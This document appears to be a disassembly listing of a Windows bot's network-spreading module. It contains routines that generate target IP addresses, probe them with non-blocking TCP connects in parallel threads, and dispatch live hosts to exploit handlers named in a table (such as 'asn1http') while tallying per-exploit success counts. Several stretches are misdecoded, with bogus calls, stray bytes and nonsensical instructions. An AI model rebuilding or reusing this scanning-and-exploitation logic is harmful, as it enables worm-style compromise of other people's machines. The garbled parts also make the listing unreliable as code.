		dd 0FF29BD80h, 0F01FFFFh, 15A85h, 8C858D00h, 50FFFFFDh
		dd 0BF17E8h, 5848D00h, 0FFFFFF2Bh, 8DEC4589h, 0FFFD8C85h
		dd 1E850FFh, 500000BFh,	0FF2A858Dh, 8D50FFFFh, 0FFFD8C85h
		dd 1DE850FFh, 830000D2h, 0C08514C4h, 0D3850Fh, 458D0000h
		dd 0D9E850E4h, 500000BEh, 0FFE4458Dh, 0E850EC75h, 0D1FCh
		dd 8510C483h, 0B2850FC0h, 53000000h, 0F875FF53h, 0D155E8h
		dd 0F875FF00h, 0FA84858Dh, 9D88FFFFh, 0FFFFFA80h, 0FA8185C6h
		dd 5603FFFFh, 8850016Ah, 0FFFA829Dh, 8385C6FFh,	1FFFFFAh
		dd 0CD71E8h, 1CC48300h,	89D44D8Dh, 0C083F445h, 0FC75FF04h
		dd 8D505351h, 0FFFA8085h, 0FF5750FFh, 4307F415h, 88858D00h
		dd 50FFFFFCh, 50A8458Dh, 41FEC868h, 80858D00h, 50FFFFF8h
		dd 0B7FAE8h, 10C48300h,	0FF209D39h, 2375FFFFh, 80858D53h
		dd 0FFFFFFF8h, 0FFFF1CB5h, 858D50FFh, 0FFFFFE9Ch, 84B5FF50h
		dd 0E8FFFFFCh, 962Bh, 8D14C483h, 0FFF88085h, 0C3E850FFh
		dd 59000030h, 110E9h, 0FC75FF00h, 50D4458Dh, 68136A53h
		dd 41FEB4h, 0F415FF57h,	8D004307h, 0FFFD8C85h, 458D50FFh
		dd 858D50A8h, 0FFFFFF28h, 41FE7868h, 88E85000h,	8D0000B7h
		dd 0FFFF2885h, 7FE850FFh, 83000030h, 0CAE914C4h, 80000000h
		dd 0FFFF29BDh, 850F04FFh, 0A7h,	0FF2B8D8Ah, 858AFFFFh
		dd 0FFFFFF2Ah, 88FFF980h, 0FFFA809Dh, 8185C6FFh, 3FFFFFAh
		dd 0C0FE1275h, 8588C932h, 0FFFFFA82h, 0FA839D88h, 0EEBFFFFh
		dd 8588C1FEh, 0FFFFFA82h, 0FA838D88h, 0B60FFFFFh, 0C9B60FC0h
		dd 308E0C1h, 0E0C153C1h, 50C62B09h, 0E8F875FFh,	0D002h
		dd 8DF875FFh, 0FFFA8485h, 16A56FFh, 0CC38E850h,	0C4830000h
		dd 8DF88B1Ch, 7D89D445h, 0FC75FFF4h, 4478D50h, 858D5053h
		dd 0FFFFFA80h, 0F075FF50h, 7F415FFh, 0FB3B0043h, 858D2B75h
		dd 0FFFFFC88h, 0A8458D50h, 0FE286850h, 0BAE90041h, 0FFFFFFFEh
		dd 458DFC75h, 6A5350D4h, 0FE1C6809h, 0FF570041h, 4307F415h
		dd 0F45D3900h, 0FF07D8Bh, 0FFFD008Fh, 15FF57FFh, 430828h
		dd 0E8F875FFh, 0CB74h, 0FF08758Bh, 0FFFE948Dh, 9E3959FFh
		dd 2A0h, 0B5FF1375h, 0FFFFFE90h, 0B43AE8h, 0E8535900h
		dd 0FFFCB160h, 3E86832h, 15FF0000h, 41C058h
; ---------------------------------------------------------------------------
		push	esi


loc_404EAD:				; CODE XREF: seg000:00404AE5j
		call	loc_4049C2
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EB9	proc near		; CODE XREF: seg000:0040DFF2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4200BC
		push	eax
		xor	ebx, ebx
		call	sub_41050B
		cmp	ds:dword_41FFE8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_404F27
		push	esi
		mov	esi, offset dword_41FFF0


loc_404EEC:				; CODE XREF: sub_404EB9+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_41050B
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_411ED0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_404EEC
		pop	esi


loc_404F27:				; CODE XREF: sub_404EB9+2Bj
		push	ds:dword_45EBC8
		call	sub_40787D
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41050B
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_411ED0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407E0E
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_404EB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F83	proc near		; CODE XREF: seg000:0040D9A7p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_4101FF
		test	eax, eax
		pop	ecx
		jle	short loc_404FBF
		mov	eax, [ebp+arg_C]
		push	ds:dword_42F3F8[eax*8]
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_420128
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		jmp	short loc_404FD2
; ---------------------------------------------------------------------------


loc_404FBF:				; CODE XREF: sub_404F83+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4200F4
		push	eax
		call	sub_41050B
		pop	ecx
		pop	ecx


loc_404FD2:				; CODE XREF: sub_404F83+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407E0E
		add	esp, 18h
		leave
		retn
sub_404F83	endp

; ---------------------------------------------------------------------------


loc_404FFA:				; CODE XREF: sub_40550F+263p
		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+138h]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40538A
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	ds:dword_41FFF4[eax], ebx
		jz	loc_40526B
		push	4
		call	sub_4101FF
		test	eax, eax
		pop	ecx
		jnz	loc_40538A
		mov	eax, ds:dword_422FF8
		push	edi
		mov	edi, offset dword_42FD74
		push	104h
		push	edi
		push	ebx
		mov	ds:dword_42FF84, eax
		mov	ds:dword_42FF80, ebx
		call	near ptr 3D0000h
; ---------------------------------------------------------------------------
		db 0DDh
; ---------------------------------------------------------------------------
		push	103h
		mov	esi, offset dword_42FE78
		push	offset byte_423068
		push	esi
		call	sub_411D00
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	ds:dword_42FD70, eax
		mov	eax, [ebp+140h]
		push	7Fh
		mov	ds:dword_430008, eax
		jnz	short loc_4050AD
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_42FF88
		call	sub_411D00
		add	esp, 0Ch
		mov	ds:dword_43000C, 1
		jmp	short loc_4050C7
; ---------------------------------------------------------------------------


loc_4050AD:				; CODE XREF: seg000:0040508Ej
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_42FF88
		call	sub_411D00
		add	esp, 0Ch
		mov	ds:dword_43000C, ebx


loc_4050C7:				; CODE XREF: seg000:004050ABj
		push	esi
		push	edi
		push	ds:dword_42FF84
		lea	eax, [ebp-204h]
		push	offset unk_4202D4
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-204h]
		push	4
		push	eax
		call	sub_40FFB7
		add	esp, 20h
		mov	ds:dword_42FF7C, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_42FD70
		push	offset loc_4049C2
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, ds:dword_42FF7C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_405136


loc_405124:				; CODE XREF: seg000:00405134j
		cmp	ds:dword_430010, ebx
		jnz	short loc_405151
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_405124
; ---------------------------------------------------------------------------


loc_405136:				; CODE XREF: seg000:00405122j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_42028C
		push	eax
		call	sub_41050B
		add	esp, 0Ch


loc_405151:				; CODE XREF: seg000:0040512Aj
		lea	eax, [ebp-204h]
		push	eax
		call	sub_407E0E
		mov	edi, offset dword_4303CC
		mov	dword ptr [esp], 104h
		push	edi
		push	ebx
		mov	ds:dword_4305D8, ebx
		call	near ptr 3D0000h
		dec	ebx
		push	103h
		mov	esi, offset dword_4304D0
		push	offset byte_423068
		push	esi
		call	sub_411D00
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	ds:dword_4303C8, eax
		mov	eax, [ebp+140h]
		push	7Fh
		mov	ds:dword_430660, eax
		jnz	short loc_4051CC
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_4305E0
		call	sub_411D00
		add	esp, 0Ch
		mov	ds:dword_430664, 1
		jmp	short loc_4051E6
; ---------------------------------------------------------------------------


loc_4051CC:				; CODE XREF: seg000:004051ADj
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_4305E0
		call	sub_411D00
		add	esp, 0Ch
		mov	ds:dword_430664, ebx


loc_4051E6:				; CODE XREF: seg000:004051CAj
		push	esi
		push	edi
		push	ds:dword_4305DC
		lea	eax, [ebp-204h]
		push	offset dword_420238
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-204h]
		push	5
		push	eax
		call	sub_40FFB7
		add	esp, 20h
		mov	ds:dword_4305D4, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_4303C8
		push	offset sub_40318D
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, ds:dword_4305D4
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40525A


loc_405244:				; CODE XREF: seg000:00405258j
		cmp	ds:dword_430668, ebx
		jnz	loc_40537D
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_405244
; ---------------------------------------------------------------------------


loc_40525A:				; CODE XREF: seg000:00405242j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4201F4
		jmp	loc_40536E
; ---------------------------------------------------------------------------


loc_40526B:				; CODE XREF: seg000:0040501Fj
		cmp	ds:dword_41FFF8[eax], ebx
		jz	loc_40538A
		push	3
		call	sub_4101FF
		test	eax, eax
		pop	ecx
		jnz	loc_40538A
		mov	esi, offset dword_4302A4
		push	104h
		push	esi
		push	ebx
		call	near ptr 3D0000h
		add	eax, 0E8565C6Ah
		pop	edi
		int	0		; - internal hardware -	DIVIDE ERROR
					; Automatically	called at end of DIV or	IDIV operation that results in error
					; or overflow.	 Normally set by DOS to	display	an error message and abort
					; the program.
		add	[ecx+3Bh], bl
		retn
; ---------------------------------------------------------------------------
		pop	ecx
		jz	short loc_4052A9
		mov	[eax], bl


loc_4052A9:				; CODE XREF: seg000:004052A5j
		mov	eax, ds:dword_422FFC
		mov	ds:dword_4303BC, ebx
		mov	ds:dword_4303A8, eax
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_43001C
		call	sub_41050B
		mov	eax, [ebp+118h]
		pop	ecx
		pop	ecx
		mov	ds:dword_430018, eax
		mov	ecx, [ebp+140h]
		push	esi
		push	ds:dword_4303A8
		mov	ds:dword_4303B4, ecx
		mov	ecx, [ebp+144h]
		push	eax
		mov	ds:dword_4303B8, ecx
		call	sub_407435
		pop	ecx
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_4201A4
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-204h]
		push	3
		push	eax
		call	sub_40FFB7
		add	esp, 20h
		mov	ds:dword_4303B0, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_430018
		push	offset sub_4038A7
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, ds:dword_4303B0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_405362


loc_405350:				; CODE XREF: seg000:00405360j
		cmp	ds:dword_4303C4, ebx
		jnz	short loc_40537D
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_405350
; ---------------------------------------------------------------------------


loc_405362:				; CODE XREF: seg000:0040534Ej
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42015C


loc_40536E:				; CODE XREF: seg000:00405266j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_41050B
		add	esp, 0Ch


loc_40537D:				; CODE XREF: seg000:0040524Aj
					; seg000:00405356j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_407E0E
		pop	ecx


loc_40538A:				; CODE XREF: seg000:0040500Ej
					; seg000:0040502Fj ...
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40538E	proc near		; CODE XREF: sub_40550F:loc_405580p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:42F3F8h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4105F0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_4306D8	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_430790	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4105F0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40538E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D6	proc near		; CODE XREF: sub_40550F+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_410B60
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_4053FE
		xor	eax, eax
		jmp	short loc_40546F
; ---------------------------------------------------------------------------


loc_4053FE:				; CODE XREF: sub_4053D6+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_4118E0
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40542B
		call	sub_410567
		mov	[ebp+var_C], eax


loc_40542B:				; CODE XREF: sub_4053D6+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_405438
		call	sub_410567
		mov	[ebp+var_8], eax


loc_405438:				; CODE XREF: sub_4053D6+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_405445
		call	sub_410567
		mov	[ebp+var_4], eax


loc_405445:				; CODE XREF: sub_4053D6+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_405451
		call	sub_410567


loc_405451:				; CODE XREF: sub_4053D6+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_42F3F8[ecx*8],	eax


loc_40546F:				; CODE XREF: sub_4053D6+26j
		pop	esi
		leave
		retn
sub_4053D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405472	proc near		; CODE XREF: sub_40550F+B8p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_430810	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40549B
		xor	eax, eax
		jmp	short loc_40550A
; ---------------------------------------------------------------------------


loc_40549B:				; CODE XREF: sub_405472+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_430794	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43082C	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_430740	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_43077C	; select
		push	esi
		mov	edi, eax
		call	ds:dword_430828	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40550A:				; CODE XREF: sub_405472+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405472	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40550F	proc near		; DATA XREF: sub_40550F+34Fo

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_75		= byte ptr -75h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_41055D
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_405556:				; CODE XREF: sub_40550F+200j
		mov	eax, ds:dword_4358DC[ebx]
		cmp	ds:dword_42F3FC[eax*8],	0
		jz	loc_405714
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_405580
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_4053D6
		pop	ecx
		jmp	short loc_405585
; ---------------------------------------------------------------------------


loc_405580:				; CODE XREF: sub_40550F+60j
		call	sub_40538E


loc_405585:				; CODE XREF: sub_40550F+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_4358DC[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_420370
		push	eax
		call	sub_41050B
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_4356D8[ebx]
		push	eax
		call	sub_41050B
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_405472
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_405704
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_405659
		push	offset dword_42FD58
		call	ds:dword_41C0A0	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_420334
		push	eax
		call	sub_41050B
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40563B
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40562F
		lea	eax, [ebp+var_140]


loc_40562F:				; CODE XREF: sub_40550F+118j
		push	eax
		push	[ebp+var_40]
		call	sub_40E367
		add	esp, 14h


loc_40563B:				; CODE XREF: sub_40550F+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_407E0E
		mov	[esp+29Ch+var_29C], offset dword_42FD58
		call	ds:dword_41C09C	; RtlLeaveCriticalSection
		jmp	loc_405704
; ---------------------------------------------------------------------------


loc_405659:				; CODE XREF: sub_40550F+CDj
		push	edi
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41050B
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aAsn1http_0	; "asn1http"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41050B
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40569D
		lea	eax, [ebp+var_140]


loc_40569D:				; CODE XREF: sub_40550F+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41050B
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	ds:off_41FFEC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_405704:				; CODE XREF: sub_40550F+C3j
					; sub_40550F+145j
		push	7D0h
		call	ds:dword_41C058	; Sleep
		jmp	loc_405556
; ---------------------------------------------------------------------------


loc_405714:				; CODE XREF: sub_40550F+55j
		push	esi
		call	sub_4102D3
		pop	ecx
		push	0
		call	near ptr 3D0000h
		mov	[ebp+var_75], dl
		in	al, dx
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	ds:dword_4307D0	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	ds:dword_42F3F8[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_404FFA
		push	8
		call	sub_4101FF
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_4057F1
		mov	esi, offset dword_42FD58
		push	esi
		call	ds:dword_41C0A8	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_41C0A4	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_4057F1
		lea	eax, [ebp+var_1CC]
		push	offset unk_4204B4
		push	eax
		call	sub_41050B
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_4057DB
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40E367
		add	esp, 14h


loc_4057DB:				; CODE XREF: sub_40550F+2ADj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_407E0E
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4057F1:				; CODE XREF: sub_40550F+277j
					; sub_40550F+293j
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_41C058
		mov	edi, ebx
		mov	ds:dword_42F3FC[eax*8],	ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_4058BE


loc_40580F:				; CODE XREF: sub_40550F+3A9j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_420468
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_40FFB7
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	ds:dword_4358DC[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40550F
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_405889


loc_40587E:				; CODE XREF: sub_40550F+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_4058B0
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_40587E
; ---------------------------------------------------------------------------


loc_405889:				; CODE XREF: sub_40550F+36Dj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_420418
		push	eax
		call	sub_41050B
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_407E0E
		add	esp, 10h


loc_4058B0:				; CODE XREF: sub_40550F+372j
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40580F


loc_4058BE:				; CODE XREF: sub_40550F+2FAj
		cmp	[ebp+var_30], ebx
		jz	near ptr loc_405967+1
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_4058D3:				; CODE XREF: sub_40550F+464j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, ds:dword_42F3F8[eax*8]
		push	eax
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4203C0
		push	eax
		call	sub_41050B
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_405921
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40E367
		add	esp, 14h


loc_405921:				; CODE XREF: sub_40550F+3F3j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_407E0E
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	ds:dword_42F3FC[eax*8],	ebx
		call	esi	; Sleep
		push	8
		call	sub_4101FF
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405958
		push	offset dword_42FD58
		call	ds:dword_41C0A8	; RtlDeleteCriticalSection


loc_405958:				; CODE XREF: sub_40550F+43Cj
		push	[ebp+var_2C]
		call	sub_4102D3
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_405967:				; CODE XREF: sub_40550F+3B2j
					; sub_40550F+471j
		test	byte ptr [ebx+3C83D445h], 0C5h
		cld
		rep inc	edx
		add	[ecx], al
		jnz	loc_4058D3
		push	7D0h
		call	esi	; Sleep
		jmp	short near ptr loc_405967+1
sub_40550F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405982	proc near		; DATA XREF: seg000:0040C09Co

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
